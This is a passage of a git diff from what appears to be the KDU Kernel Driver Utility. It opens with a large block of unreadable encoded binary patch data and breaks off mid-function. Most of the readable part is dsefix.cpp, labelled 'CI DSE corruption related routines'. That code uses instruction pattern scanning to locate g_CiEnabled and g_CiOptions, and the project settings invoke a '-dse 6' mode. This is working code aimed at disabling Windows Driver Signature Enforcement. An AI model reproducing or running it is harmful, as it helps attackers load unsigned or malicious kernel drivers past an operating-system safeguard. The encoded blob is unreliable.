zzck}V?(zFU$FDz%$5x@7L%4+`mS^!+L#!GH03W+{Ie&6kGzKrOLOZ#9&U2LiB2D{40OAx~uf|b^b$jn@-Dw*<$nMU$8RUVuYDu^LGG`0|61yz6XYg zUf=tLcl#sUcIFg@5wLOSZA+V9gmXQI$@dP|VwY z<|D3$`4|0+r-Td0V#p!ei+~5zxW>4hvgP{A(vqXR+l>v<&lUXKjVNhb1^4>1gXE~- zJ^r*y<0|;*KZB*d6@1>Gv!t(&@N0jL@IHD;Y?#fnkMP8rfl{j@d{s?9spl1bzGk$v z{4noyb8M?mj)+>CUqL5`7@Y>X(=zQc9{WsV5a(RxpWKX)E*;{RZuWOHg({qRjddSG zRGow8VDSPA0q_eIAhE|0GEMLkJrz>p?kVh9^vR)EJ_AdO6Jo{k3DWS+Z-AJz_6Bd< zk2-Iy&I>enLk(U$2v$N*!ORcuC6N0uV0d)91-8@D@h@yNznCPp8kmi^Bp!gR&*tx; zi}`$^$>S`@;bG)>c$5G2R|~18k_X%>@e4o1Oj35+-HkCMUADY$c6@oOPd%xuj6ZtR zgf-xSuD(Itj*DLX%nLTf`A!^;i7|y-HrsLjf-6QkdyIeR>d`jlm>90&aIG&=VtXMY z{zMWp+^^7;k2xBdq&#Zt&rD9KGPyCt$g9Y9+8LSgg<%ot}{zaX@*wX>6VWS%N*UQ6- zqqR5Day%hxsrofzU0Ph;<(BDVO>~tuT&SROcwuS&e3#l%Vx#;T>8|{MzRDx0JERs% ztaH#=IBeXsJ*>B-v6i5_HymnQJ*1wOSoff%e?NK>whmHOKFat`ymPU=vQrK7V0|3l zBB(69lwDtry=*P`5FK6hCjLoPcHTaXwMGP`r`#d!@`IwKdPqCOWovQ>%L78%e$Mpm zP%>WT7hJ@sxPv1u%>Fh8Yc+O;kZV5~+(s1Y;)JgU>^WetT8g@a5af+pj}U8Kf}>N8 zAl|)Qj;d8RLzL?V!lf9|?Y0A=doJaSqM|s{A`!3bH`c%_ecM&Y=e|ykx<6?7 zUi6=cnLF7c(5~IVu!Zm_5NQlzo2LHc$(l*#BPuhqfYw8=iD3tMA`*}%foNqS{zOaa z(O{`KtoAXp4vm@!9iRa%TP>vp}XQ3nh6JNIxW<)%T5^aW=Z_cZ$>ac*P#{VZ*L*#nA zT@nF))vw5BHu7CS8pUtIZ8Oaq#n+0<1O8*@yZt7 zwG#JFjW+ry7qN9Xpq}<(!HrBuh08U29}_MY$71HvZK}(QwF+-7oUl?)ylL>mFIimT z2txT1waIUZF9Kwzc}s;l(3|zBUkzWE{hU1M0kU5^q`vIUg5r*YCo8`9v^No4i9NEX zD^a`vF@I_Z?i%5CaJguyWusgBpt$*}n4O2zDsT3i_uB_yWs-T_!O}_})?bnWzEJHJ z*2{Y{YHc0T`_-fB6blRU`}uQyDaTE&Lul`mL+Yy*Hc$HFpxUrL8yR?gwr&$J()R>x;7wA9S12N~lu725sC3x-FhM{8V z@Ve?9#KNSyudAJcm|gmHlR7krMM$4-QWpxoWt;j&5Nju8ZcEZsU-+Ae~Pm8>0{aDZ5cjxssMlKY{$t}R<&_xuoUEkNH) zYhDfvj@Zha1vnl1`vX+RJa|iKWIMKoNj2+B54UFyCO!XJ>41*xc~9w4L1|eRmdK=x zwWW`um>-k+uTlNFvEdS1qfY6@ewC)bqNa3btEG#1>gDdNx$k(KePP}5ciBE%UFy?= z)n!uC*VRVR>>X+0CiU}ZwpJRuL>(5xG7?sA#G;-5;89M)Bj%+@17Ri0ei^ggmjB@2 z9RDNc8IRdhz{X0^IRC*z#D_Tlk2qpZ-KhQ(!{$hddFu3@Sdpt2so3F%ONlR){?(Ix zFG)WxQcw5BdcJ8X-v1;?Pc2dh^ubf>wp5+ghowrl7pi4_*r>Fa5)_@2f>CvTu^4d{ z8yFZ#%N7b^`S?Y_G}F2Pj_kE@$X@CwW^Nqi)$f= zRCRt|)LRfW3AuO~P5@2Sl2Tnf%d4s$3W^EowoYvjk5Rk*MYT^nD+oFJsbM2zpGd$)$aax{ zjgZ$rExjDi5}4$(Obtt5A9)ThG?~=+mMqxQWouKY{*%D=OXCXE-H9x()ffd0itRQN zByL3}iz~v9K64t1)%$JKLEPIbHuq4}2}vw4Ivh&b-L>D|z<3hZQCjL6-Rc-78iQC1 zm*A0#+#?_7zP3XBIEgiHd3Xi7@yuSaXm{I#bZX&k1UvaBT~+7sFyxqSAFWVtCb59V zYlUJ76u~P-IvY_~x7-zKv;OQu=~%IPqCb0DnpIpHF@Sx|q>(SF_hc3#O%Sx(p>G9(vK@K<+0Q5;VXH7F#KB)RX3T#N{uV;dWidmH0ORuG!+UwsJ{ZbFhCRqY zHlNBXeLb1^GbzTQem0OTXm}FM*7q5)HH*6A?Cy)@YWyJ9yxs=z^ULFk&0JAu3}Q{C zxy#kY* zC+4)3CyC%9ZkhUJ3X>ZyScwBFQ=FK8*2I0q=IJZdz*J^;e2)vUh_|QUiYBg;+2vTv zS%Wj&;6#8^VQ}INP9!*A8k|lBCmNic1}DVe#DVj^!Kr6(WN|N>gOttPXHc5KrId$eR_M0^9S#`v4mL)~MrXC)SIau#C_119A>&jQvRwLLF>E9{p zdn4FH>6IC(??@IbJzS!;9f_56{Ur6Rk?gCcXJ0_;3d=E*?D?1@YvHW1!^9@aFJFCe z6ui~w9QC77EK+Knqh21x2K4$d8yWI3t79+c{3c%QL>hx~0$!R}hT_*E^a={Ele8A1 zcMt>m>j%GEvejpvVy)}9%fL?dxHxZ!3UMt_)u&jO`qdMj@GdSer*X?U zaEkiP)9CVrV@qSlu=-3&Sg#Hmi*>fVxtcSUg*U5cj$`@q+<@MQ%1m>ta*6Cw9Atfk*22|u__tcj3|lS*;dWtuu<0-J6*r#^DU zE9X*`l}EBJsfQ=9HtdpGGlALIQMFD68{^Xs3fOa9fpkU&n+5iF8ElBpq;-#61C=#` z9W{}ik+wgp)_DfAd;GI%`ZH{hwQ9{H*9y-buKfd*l|Mu2(`OJLT~gU3*1p38$PANs zUvZ##-1>e+i8uQUQVL*AGWE+#sp;(*J@V!16E54>DeBXc*m&vTWOWa+N~eaae@w>u z_xCKd{uCCbcAU(HNIj;gj>#-YYC2h6FYvKphEmOQLTQB*JXy$X>c>+UI(L$~YYH17 zy+2g-oeE2*XQ~~ivU6cOp3!5+K#%OOxY&PYpHz;-w>wgtfL9fds=8vu!u6(!YWTBk zfoT*<)? z?7ECs3#PM?Qp?QJOVimlFR5Lks?1?Kqy>jcXYsUFf_^VJP6BHHunryhTi{Ulw zJ?jY@_<{ecpu+S@GZmlD|`>*dlKLC_+G;ID!x_t*5G>w-$(eGUsZRlX5~_!@Y38@*gGE5 z4?Rom>)2#TDvDH>m9V{*fpKuX#_5rxlRD&8HnqjYz9PCjjzcH0k7At+&wi%*AkGC{ z;cbA`%RN{VwdPfZKY10c`n<-Tt6zw>if(5%KUz4me(I6e5N=lYP#djhNzD^+Hy(cQ zeV1(*Qux{5*V@GGVo+U#`&-^aowuHCuvOt**PL1ZGfTheu10KN-}#`O9Ow!YxI*ch%-+F_!a4ZM@ z%Q`mP`l`_B)J+Ao7E~f+gm!opkhm1q()>L1Qd(MaL6Xn>l(r`JR~>7rL+!>nKU_qsX14u6-ZL2t1Z z{Wcp#b|^E7IfJ6F;(Hcfk^UWdY`qLSzoO{hfV%|)!)E1F>!py*CF9 zo%;O_neD}O(37o;QGq!Zx=yv;@30=yTh`zHsk({X(9~5q&0x-Qd#(8Knz>Vn>UxXW zqV5{dh6-uEjj&N^J9VnHc>$gYo=U9wD8$&x$C|f`#3{L+`Qlo2z!uil@i`cW?*De{ z(7j6?93p+MQ-^t=_~{&W7>CaMc^#ZX)@3-VhwPH=1EKR^Yam%{%v@`S%D@+|#CRLy}AbEvA?_K(PLv)XbU z6a!=GyMVXG9y_>i4n_QJ$UtK^ADbki>sSxTpX%SzW~{8vwf}l(%UQ` zE<(>V)*LBlb^7T;55^xu4Zt*YMZ5VTJH z-sc3D9{7-T^vL+UfqpWafA>*NN3lbT#7ztjP;s=>X(fIO8Fe%fp3A-m4?50e+YpH7 zU2HByE*U3p*0l!^vg99(8}s<}qh*>dyZ7%r9O|V8szbN4t}(5_bJ^}S7M>Meb~^q5 z0}SQgt&=kW0kHRfa$JXwc&iqPkiwFus9$bp!J$`)X@?v88YgV1!B>9b?E|9Y3phG# zT>4-;R$OUHeKlc8p|npK+aO6->z97Nhjn3% zKQd#+WQX707ng0I`pu)#H@zzWyhrrJxl-E%NX<6ch98W{(`l3Sbfnn@#^mp z-X-F_4gM7`NW6^~B>GwOSivh!3BwhEKceaVj(GEktxH|~oa$s7bW5FJtmQaLM0WA_ zz>3Y+!4Ox+qVXoh3;0EW74tWO6q^S$6)3SAE|nFV2Z49Q914~w_lUVEQm_PGIHk(G z#GIZ{E*?NgQ}xW3ETHAdyL!Dm?QS7%sam$XnNVD_R`vOc;aBZOWxY_bNTourZ8O-_ zu%*#!i=BemOtp=m+OCBHYI{SFV)KL`QNbkqYgDi=Qbq-nDdnz%s9-#J_zh~LTf%14bTXCc7@biExyFA7(g z%Y|}=e$P7GN1a#>&ELFBOUl`L=8^G_skHlkwt-1qywvjtSnH6RIHs2sXCSKQvh76d zxk`3A#YP;DxK3%{L6+;`$oc>t7@zS(2NUf@v^~*0qPjBvnf0ELZxPWIL|-HNKG8Cw zr-=SS^bdnNO!tXVAAbo(eC$NW5O83QpHEnoMJfrV;H$v^~)vqMk%+J~i_HNc5DTDBrY`7_Sk{ zBRZYv2%<94UPQYPwG;It`tTE@pc5RBq)SaPdoheRT5-a()FJEh9 z%>_r8$o<5i*_#Xt`1P93$KPHya`=b+V`zL>W=KB#6t+HDCIzdJCz+ok@=ZhRE-LPO zLrp9&;*&-go>Tv%*OF%v7B^JICzmjMw*D!qg-ZxyofRL4X=^P5I|+-|tKw5$OMbc* zzCzetL5;Ax0(S{x(bGR(KNt-(DvY_;kQgL4`4jdehMlmxfC$2(`^Bd{VPnwYk7w7y zU2Ew_|5q;Ney{&Bfa7XmnXvnjjHo3~C+x1!*jn<8T6pq*^mX5p`5%U8(ac&ni?Dcc zFFx6|-v1`KGOp z8G3o94{PD=weZebxU3f5OW56G<+boZw?36`s&F%m@=Ygd;nRfO)9gwuTtnDBNbeGM zj~TBYjZyDU_U(inZiPrXdj z*!>713FB|}=$|;k?h0iPcK2W&;c(L5DzJF|VZ=CHOW`izb|jDZ$*7RK0GY6zFrU=3fNFGPn?MiEV&a_(knS|Z;iwL{N*ygLu zp|4i%E-EL5CRAYU0@7(zyFFcPM^$^C*Y*p!wes74^fOxQo&{H~mi9Z(4%cbu_p>2L zBf9G6(x6Lhl#k=?y;|$#{r|-y8WoDO-c832HRR<)PmDLPMwD7^$|Jj5!wmT^ z1`Ri5HZ~Yrh-Uq5RKQ(8?f_c(`?)!8lNGh9T142b7fIOnF~4;BZ)`4eWYri&x;te% z;TocGHx2n_qBTU_ofr9+A^wEvZ>&2O-Yj>vmPCAt!gCfbW=9MMFg zGSL*GBZy`Y%_N#jw1DU;q8o^AHmJk2g&13jen@mX(Vaxgi0&m?PV^wr3ZkcpRucV% z=pRJg_W#x~eAz=1c;2VSLDWt(f@n0+M4~d$G@=(M=qjQmL^l)N zO0sm)8q_~Egz>Ub|J)_qov_JfG@u7zFT&A; z{Rqbp4kX-%$~W1G(U%k=2*(kQBpgpTns5T)IKqj9Wy1Xlrx6}NIGu2^(SDODgBSxz zA(QYR!dZj|6V4?(gm50=G{QxMM-g5{_$k6AgdI;4V>2xmAiSM0BS%n1SR!0O z*n@B-VNb&FIQld+6V?p5!&HYDcPT?%!d?N!GxZ`INEpY|`Ug(V@Dqe1NbXBGny`hi zOt?PbbRDDrt;EPA1wX>Mgc}fc`_hJl-M+LD;Ud!aCtO0rq|lvk2H_rrvj|5M&LbQ{copHEgf|n8CA^(*AHwAhV)P}(X~J=Y zuMmzWTthg4u&IgBfJDN9gp&y4&yeY}q(9+k!UG69WMU)}Bc1R-!kL5z5zZx?Lb!;q z_-|Xpr-bkj!dnTa5iTP<%)ky)1u;gELM7p+2y29&CVZFh6vAFXMhj;U4kSF2a0KBc zgrf;FJtD#UlZoL;A&Q+mRb9gAB=;tqN!W*QE@5B7MTGqbmk@45cq?IlfyMkUBSruz zR1gj#TuC^Da1G)1giTG29*89zNVpH-2*L@3@n>1}F);&Jly6ES2BR1&gRm#zEW&jO z=MnZMyo#_7;mw4732!GHM7W%AtS_yTF@ChSXCCLH9aw;#v%#E2z@Ov23HC@`0>C*dN(bqSXc_9ncQun*xf!oGwn2nRWc zQAvzg!Zn0hpiu!+h|ywi!hVE(2-^w!5{@JsL^zIcEa7y*4i;<_kVy=0!nuTf2p16! zB3wc^mhg7M%x>5#C+to5G+`gYR}Abh#S){&Z6M4rU}{D!ChSMphp?S+Ea6DPEW*ei z=gv6@kV0 z^C3o!J43XQ!PMO70UyGCgjp{`ZgT^`ut54tKEF&(JfOD7K@XG?_XYEfd!i#K*k}H4y&y z7Lr#I!%p}+!jXhOAsk0|vwC#1*n$58l^E^~!WF_NC_@e5uLzqu89h=#*u4XCZ=w81zMkX}gl7>vfNNTZ8CAne}Zxc78{ zBv(j&g?g+m;Ruquw`lHz3onvKll(1O)J!rlPLe`8;SULC5Vt!j|i6#zD#(lfgL7Jj51QVLb!tP=Y%T>pCYUg z{)zBi!j}kpbuoJ2N5X-Gza<=@WAy)FVz`e=+(#?Xl)=5tcAspxk49vY&!qhBqZ9X0 zOFGFjN$x%!^C6rmph(CRLGq7Dj{llU509TF>__?*!ZOK+5OyD4MG#Jpau^1t6Js+OXihkj3``^( zNb>rGb4i{?*iLdQ;Ubc+C0s&yDB%bPW$+`$R#F&7*o(Tj1K~1~&vqLid1t~EB+n(B zMe?46D@neTup^Qx(0~{vl%X$SjWQGyzDsyG;YiZ&LfEUT(WCPTSCIX1!hs}z*1!%^ zIVpsZLIf#HB^*uoCBp6l#dd^cl0Qc{op3(kBC23-!kHvrreh4%TvCW7gd} zIE^aYov>FoLw_-0nezJsi}Fo@q%evU(n!HZID+I)5soHYLRcoel5jfV*9m75-s+Z< z{Q&p+pGykqq>w=hjR_Z#d^BPA5o#~OB_uB-yp`~~gv$ueC0s#xgM0nYq5_+cLM17T zA-tXBEeLBQpG^2J;V%h$bvL^F0O3Hw+X+VyF4OxT%xGd9Ck2`C|7q|1Efrz`x}gfmV05fd&n;g?Lf%!Iu=0|l6fje!G9h1Z&Jqe(9} z;bs$_ZNl-rbpviU;Z~Er%!C7PS|^xryH5A2RVE_U6cBI1!NYWcg(jS7(ubRHgh~Hb z6D~3hjxynBlRn3U<4ri*gp2+88UKDJBFSW!8wi^U?=ayMlfK-910Th>OgPh|&okjN z)1dw)Twu~uO*lcym-&w~5k)4$789;C;h&jsvnlW<6Fy+l7npFP3Fidzo3PV_TTS>Q z6K*H$|D&?lLV4k5hnbC2}hgoE)$M7;k!*ZDZb7cWLJn_#$YUbzOMg0M~*=X%A<(=B4FjTot11*=bgUy(G;V zVAsvIx_8aWNlSMP7??L;L%J2|eemYluBl7&@-r5>ax*+Rx%qjnu{r4(r3%L_$op=MmsXf=GF-7n`}x^cZ+pu;tFxUo&l>2ZqhoV& za~IPgnkQ{vl9shN!Q_wjSz8OL>%!yOE@M9<{UASmk#3S}Uq&px`|2 zpl&PT?TM52sI^xAjsw?lt9Zv#`oKG$vUAs3Gdj|Gau?@CQt0Y6_6KXNd6T3(i}0xp zO1)+Cod9;;6Lv1+&IAR*4t{u|^AOAJ@8Ez79h}Td*1M>I#VvD3H1c>WRRYXo;+o*dB*DBQReIC_zDa0YCdK6U2pa6sDBG_U9NV}S5tq_&Z=izxa#>rw-&it0__}0p0ntSKt4Suv4Qku z*ErNV)a?y>&3bE+HxS?HI*00w{-^#uPWq;QlIIlZ-~N+4iKI`}dF%%_SSz}8wN%$3 zonr0g4OX0tNH^Q+>z{R7&;A71F+z@e9LkMudc$63TZ0ERu}7At%jIWeQG!FYkCtB9 zCv0m;M;V)@@}+LXC`>718y_jdEwdUD#5>5HRmhOe9cRk=*$(v_N_fMJ{3Rp$^<0Mv zOLeFR0_i=1RgbtHsz>fsEul?a8@hNp`)9|Z{NJRp-|9Sv$}xF6&3CAN^Bp&JL|pE) z8cN~Gh)xXMXbqa;?{LQ{*yTH?buWGksXr<<6*$;MF?inP2WLF_e5mRTd(Xy;26&u@ z4Li}1H|!5KS|em4`j+d77*TEwkno&xYp8HTxizS7%_9zVW~oC(ZMD?(wCh6He#hkh z8^;e#SjXvuGEKgV!;a8SDm2}xLgOqI>QO3^Q#goafjTB_vc^bVC9q=xGqyR@4s>bT z5Bk`*1kv_B6}qh>Dy&g*{IUwGZ^yE8;zhO>K<_e6Z@*~oB2DrftFR`G2wW1Y*ko-T zl03q$mpM6RbK(@E@Lvn-P^BR0I)%st5zUmU+S~Khqc3P+Hx1O^~>k6x^}wS znUZ6y{mL;%THUhetxtlyQ=B?7uyh9>*WvaL|9|K;|H4eU=S{hWH>gV@E)%Y^>a3kk zZ$qALQHx=lVY}h1`T8pom$EVK^6|mv*z1_U$pvrUHQ5p370U{ zgfDGCAbh2U#7@-}A2kf*zXJUYIUx$_Zgl~`tI=w_vr9x9q&}FN%k&jNSmoJVTn0c z3z*JnyD^1Pr8G7iW@7F9c z;lS}l({;Rinx9TpG|gW1G7Tv+6*e2T8GfH5GPr?;1Q(dA#?Wn;YWRIj%?W8prKzyl zu+^~LFfgQ-@=8+^HC7LO*%-~3(VBtdqs_YH(dkaLa*Vz36&ez|RFB9%o0`;QU0|HK zoUhc7|I6hYa)gGYn1&P>78*7g26}QSuhfv1J9UE#MrziZaNzi|5js9=xSvi{G2GrI z4QV$OMl91K6K(jtt|PC~kOWh4reUFBnPH$Om-0#@k{+*n+-jI$7&zWFRHsMi_)aPY z#7Qr}43I z6JFTzBZL?73Z~le!fS3MrA%2gTg@al@h1 zI?K;s-qe=H3ExA#i08&beeN|0ZP0m_&cq#ydK^hhxr-lQ=o?NpK3! zv1H=;Kts*q4Mp*@++N=QzmK1{Bp@6)MbEvk1XU1U3g1LBucsk*xc&-++~xW&OX1{c z+VdK%{te0bR0MhL_McC}CuT5ml*#M6;x(T=?#LvD7k+>5g+Akj!%{ey1L9%iOfEls z6ntzp8@S`%REK}FZ4#v=Mo_h1s_B! z@hn?vG4kOH;29*tE}Wl9%ZX2ii3`|G8=nNnE+ikm0Y1Nos{&sO*XPo>Qm!U=|6-;R zp8{_wpv+P>5{ktBJJKgsX~~ z8~kb*TEhB{4}(Y0O8ik+{EY6gaL#(AN{LT}hmnjN8}6tj8}yX1>5gJ69{*Gdw;Jz* zt}^Doii5=rK{DTQaFOvIco50l*TZ`@YM%sKP%Fm@gUWTh@D}4^;X>oH;A2S2UkPJ3 z@j_)Y5}UaGy#yq|2S2ai1R%vuY^aAaE;=R!e1TL{v?clUH4d6g=7kZQH|OQ4;$YAA3Cn5 zI1~Qng!aua@g&~M+$Uk)JEarOz|kOA1@j>vh_jLzWLT}gK=|C7PL2|N`!oe-NH!<)_B$b_m zYd+KsEr!p3!~!K1!>2#iz8Ee!%cV(W1@PM6>#2!?ub>9eaC4pJ^x+^n!)rX`Jwh|70~Jz6c&iMfj6&^XFWm z_)2&P$rV=*-}&6D1I+}kZqvROOg3IvZoCf$f1w*EOhi&~5-dcmR3IGv7p@?@8-{(U zR6Sle14#!`;6CG9y_g%%>560FBIDU2MXfi!3ikPmm8_gwX*dOi;itiukQCYozeLir z^KjVLN-ZZ(Jj_Ft__}dyayJeqm=1`&ht8d(0Q)^nFOSQbokIexNRm=CcLV% zgNH|WorX^!StlxCzb+0HL3}cNj*n2I@HKEwSBDyjPlYRx+;A4c*O8PT9zq@@Qms5U8&!1hfa0Qay7s5kGDyWBL-S|w9{K6I_ zd4z+yYab1>jrYJ;y!GLOgr*sN+Z~I0+x^ zNgm=0VP8I=t;9#c^XMpE_&_fjh@S=DK~k5u8FNE#T~G|nGG6#VA3i>>-~h-TKK^xH zxE*~)LG0(F&LZi6a12|PN`uD1Y$Q|Qf#t?mz`pFPDjmBKHeAaie9=_U+Mj0zcDTzoiuAI0Napt@d9lkh8)Kzuu#J3u!s6~^75dn|kpNkh-v z;N^4b8+C&4LnL#_)#7nBo$ACQE|FA!s*COL0Ryl zI~@K$V9vtqVY)I8TsoX{g*?ll^G=4F=?H>7NAXmKGzfZcxr>5Gh=r399IBKAHw+o$ zP%&F*1bh-T5x*Knjn$W;@Y`{Gx=tRI$fo{xGY$9#$bL?$nf!j@r8CX&obkfy3H-3Y zX4d~2%)p5b|N2}86ZvrkHw7iZ@%QT9B*QGXL(L*yc;9`D1fHF#ln==Wu{)LeFXMYn zp$sJP!mp65AMG${D!(ou<-@kA%>Qlz3Dfuq0#t-Q4}Uscx4IaX&!9KNSHR%=DVVcY zn2O{Q5@x0_|Kt(cNP1ib2hJo9@wIU9EZvA{a21krYQ30QJi#Id2v4AhXSt@~kLKw4 zj)TXM^nks$6#H)Z^PhwHb9EzxHApVS1MpKMy>Eq4sho6_DNI9U_;gr;yz)X)i|Id~ zhLGTbt5H2(Seouojd0mnbgh~blAd=@_j zfftTg!~%sMxrpn3dbSRvz{VWTQWAvwJoErx3++5A#+Sj5k(`WYVZVG9B1XjpH!P+R zk_S#)qDLqhKKF=j^o2)XxbAr*rub)+ztzh-UYK`L(pD0nYYodL1qq)+GRIZ09?3Kb zE7x*qkzW{DtcN-ZzKvv5PQ%;R>HHTzOC!(Nyj;qQ5624M_wt{QKnvWrULRZwr)*%| zCO#ELm$Mq;W8qPB8ZUfzGmXQafw@~a0r70As-8m9P@nKw&Zlj7c;{9wX?ziU1xX(7 zQOu}qy5b~w5G9eR9?ssb=PwoZ^XWVz;mtd^9LW;{UqdoN&G71-Tw28Uf`5393hQ_z{vGpM{|>Go<8U?^;!flJUX@B(HwL84bLI6YqhAC{@aYpQ21J zfmX~{uQD|Fb~xy$Ze27?MAD!ncoeN9kMLs?e-?g)q&M!@97=wbayNP8L9{<3iEo1w zkI{SLQ{f8Kj4y=VTK63P>mMR=h+ z{U~{a^7N>9;bG&2&BhDmDND&C?DmHC!kdg2CcKfM6XXFxc}P$W5XwV<;)U|Oo_JxE z@xmj<3*|X9$s_FaYwhK^vsmrr8HMrQQ9h;aL=U53XdIe`(or1BLP@9)c~Am!qf``& ziqOUX`tRbcmw)H|BDfZX;6H~gC>4E+UPJp)!Y*#L-^Ns;0^~xU?B>k{^d@>0{Ss|O zPot$M1NGU%&Oyk5zO3dgbo3^A3H<`CN4a}>PZ-TclhJ5&I~s_tL0u7V;=Fduai^n> z2h(F6@_72Qb-^vxhYs%$r>g44eSeVd+qBVygD-^7k9VrfP8Y)IlSv}R{XNC{m-gDFT zbt^*uaOSadv2{0(aK6*!#wJczPW?=u$5-Gh^cDHad^NrUz6M{TugTZ!YxA}Hl>PqQ z&X1?478VF9YTu@|2X9ZU_EZ;E7gZNmmsM9*S5?vCiqe+IF|^R@K2wk~}BQ&4$X{QI|5#Io06^xA!DEmtEDcw~12Q_9_?a zVci{fJC8aBy1DP;fbi;wYE{TvtM~$cLj#Q=qQM@J Application - true v142 Unicode false + true Application diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index 2ab6dea..dcd114c 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -6,7 +6,7 @@ WindowsLocalDebugger - -prv 13 -map c:\install\dummy.sys + -dse 6 WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/consts.h b/Source/Hamakaze/consts.h index 3f939c5..152ee90 100644 --- a/Source/Hamakaze/consts.h +++ b/Source/Hamakaze/consts.h @@ -6,7 +6,7 @@ * * VERSION: 1.11 * -* DATE: 18 Apr 2021 +* DATE: 14 May 2021 * * Global consts. * @@ -24,8 +24,8 @@ #define PROCEXP152 L"PROCEXP152" -#define NTOSKRNL_EXE "ntoskrnl.exe" -#define CI_DLL "CI.dll" +#define NTOSKRNL_EXE L"ntoskrnl.exe" +#define CI_DLL L"CI.dll" #define DRV64DLL L"drv64.dll" #define DUMMYDLL L"SB_SMBUS_SDK.dll" @@ -112,4 +112,4 @@ #define NT_WIN10_21H1 19043 // Windows 10 Active Develepment Branch (21XX) -#define NTX_WIN10_ADB 21359 +#define NTX_WIN10_ADB 21376 diff --git a/Source/Hamakaze/dsefix.cpp b/Source/Hamakaze/dsefix.cpp index 57eff65..4c71d91 100644 --- a/Source/Hamakaze/dsefix.cpp +++ b/Source/Hamakaze/dsefix.cpp @@ -4,9 +4,9 @@ * * TITLE: DSEFIX.CPP * -* VERSION: 1.10 +* VERSION: 1.11 * -* DATE: 17 Apr 2021 +* DATE: 14 May 2021 * * CI DSE corruption related routines. * Based on DSEFix v1.3 @@ -20,6 +20,88 @@ #include "global.h" +ULONG KDUpCheckInstructionBlock( + _In_ PBYTE Code, + _In_ ULONG Offset +) +{ + ULONG offset = Offset; + hde64s hs; + + RtlSecureZeroMemory(&hs, sizeof(hs)); + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + + if (hs.len != 3) + return 0; + + // + // mov r9, rbx + // + if (Code[offset] != 0x4C || + Code[offset + 1] != 0x8B) + { + return 0; + } + + offset += hs.len; + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + + if (hs.len != 3) + return 0; + + // + // mov r8, rdi + // + if (Code[offset] != 0x4C || + Code[offset + 1] != 0x8B) + { + return 0; + } + + offset += hs.len; + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + if (hs.len != 3) + return 0; + + // + // mov rdx, rsi + // + if (Code[offset] != 0x48 || + Code[offset + 1] != 0x8B) + { + return 0; + } + + offset += hs.len; + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + + if (hs.len != 2) + return 0; + + // + // mov ecx, ebp + // + if (Code[offset] != 0x8B || + Code[offset + 1] != 0xCD) + { + return 0; + } + + return offset + hs.len; +} + /* * KDUQueryCiEnabled * @@ -28,24 +110,29 @@ * Find g_CiEnabled variable address for Windows 7. * */ -LONG KDUQueryCiEnabled( - _In_ PVOID MappedBase, - _In_ SIZE_T SizeOfImage, - _Inout_ ULONG_PTR* KernelBase +NTSTATUS KDUQueryCiEnabled( + _In_ HMODULE ImageMappedBase, + _In_ ULONG_PTR ImageLoadedBase, + _Out_ ULONG_PTR* ResolvedAddress, + _In_ SIZE_T SizeOfImage ) { - SIZE_T c; - LONG rel = 0; + NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; + SIZE_T c; + LONG rel = 0; + + *ResolvedAddress = 0; for (c = 0; c < SizeOfImage - sizeof(DWORD); c++) { - if (*(PDWORD)((PBYTE)MappedBase + c) == 0x1d8806eb) { - rel = *(PLONG)((PBYTE)MappedBase + c + 4); - *KernelBase = *KernelBase + c + 8 + rel; + if (*(PDWORD)((PBYTE)ImageMappedBase + c) == 0x1d8806eb) { + rel = *(PLONG)((PBYTE)ImageMappedBase + c + 4); + *ResolvedAddress = ImageLoadedBase + c + 8 + rel; + ntStatus = STATUS_SUCCESS; break; } } - return rel; + return ntStatus; } /* @@ -56,84 +143,150 @@ LONG KDUQueryCiEnabled( * Find g_CiOptions variable address. * Depending on current Windows version it will look for target value differently. * +* Params: +* +* ImageMappedBase - CI.dll user mode mapped base +* ImageLoadedBase - CI.dll kernel mode loaded base +* ResolvedAddress - output variable to hold result value +* NtBuildNumber - current NT build number for search pattern switch +* */ -LONG KDUQueryCiOptions( - _In_ HMODULE MappedBase, - _Inout_ ULONG_PTR* KernelBase, +NTSTATUS KDUQueryCiOptions( + _In_ HMODULE ImageMappedBase, + _In_ ULONG_PTR ImageLoadedBase, + _Out_ ULONG_PTR* ResolvedAddress, _In_ ULONG NtBuildNumber ) { - PBYTE CiInitialize = NULL; - ULONG c, j = 0; - LONG rel = 0; + PBYTE ptrCode = NULL; + ULONG offset, k, expectedLength; + LONG relativeValue = 0; + ULONG_PTR resolvedAddress = 0; + hde64s hs; - CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize"); - if (CiInitialize == NULL) - return 0; + *ResolvedAddress = 0ULL; - if (NtBuildNumber >= NT_WIN10_REDSTONE3) { + ptrCode = (PBYTE)GetProcAddress(ImageMappedBase, (PCHAR)"CiInitialize"); + if (ptrCode == NULL) + return STATUS_PROCEDURE_NOT_FOUND; - c = 0; - j = 0; - do { + RtlSecureZeroMemory(&hs, sizeof(hs)); + offset = 0; - /* call CipInitialize */ - if (CiInitialize[c] == 0xE8) - j++; + // + // For Win7, Win8/8.1, Win10 until RS3 + // + if (NtBuildNumber < NT_WIN10_REDSTONE3) { - if (j > 1) { - rel = *(PLONG)(CiInitialize + c + 1); - break; - } + expectedLength = 5; + + do { - hde64_disasm(CiInitialize + c, &hs); + hde64_disasm(&ptrCode[offset], &hs); if (hs.flags & F_ERROR) break; - c += hs.len; - } while (c < 256); + if (hs.len == expectedLength) { //test if jmp + // + // jmp CipInitialize + // + if (ptrCode[offset] == 0xE9) { + relativeValue = *(PLONG)(ptrCode + offset + 1); + break; + } + + } + + offset += hs.len; + + } while (offset < 256); } else { + // + // Everything above Win10 RS3. + // + expectedLength = 3; - c = 0; do { - /* jmp CipInitialize */ - if (CiInitialize[c] == 0xE9) { - rel = *(PLONG)(CiInitialize + c + 1); - break; - } - hde64_disasm(CiInitialize + c, &hs); + hde64_disasm(&ptrCode[offset], &hs); if (hs.flags & F_ERROR) break; - c += hs.len; - } while (c < 256); + if (hs.len == expectedLength) { + + // + // Parameters for the CipInitialize. + // + k = KDUpCheckInstructionBlock(ptrCode, + offset); + + if (k != 0) { + + expectedLength = 5; + hde64_disasm(&ptrCode[k], &hs); + if 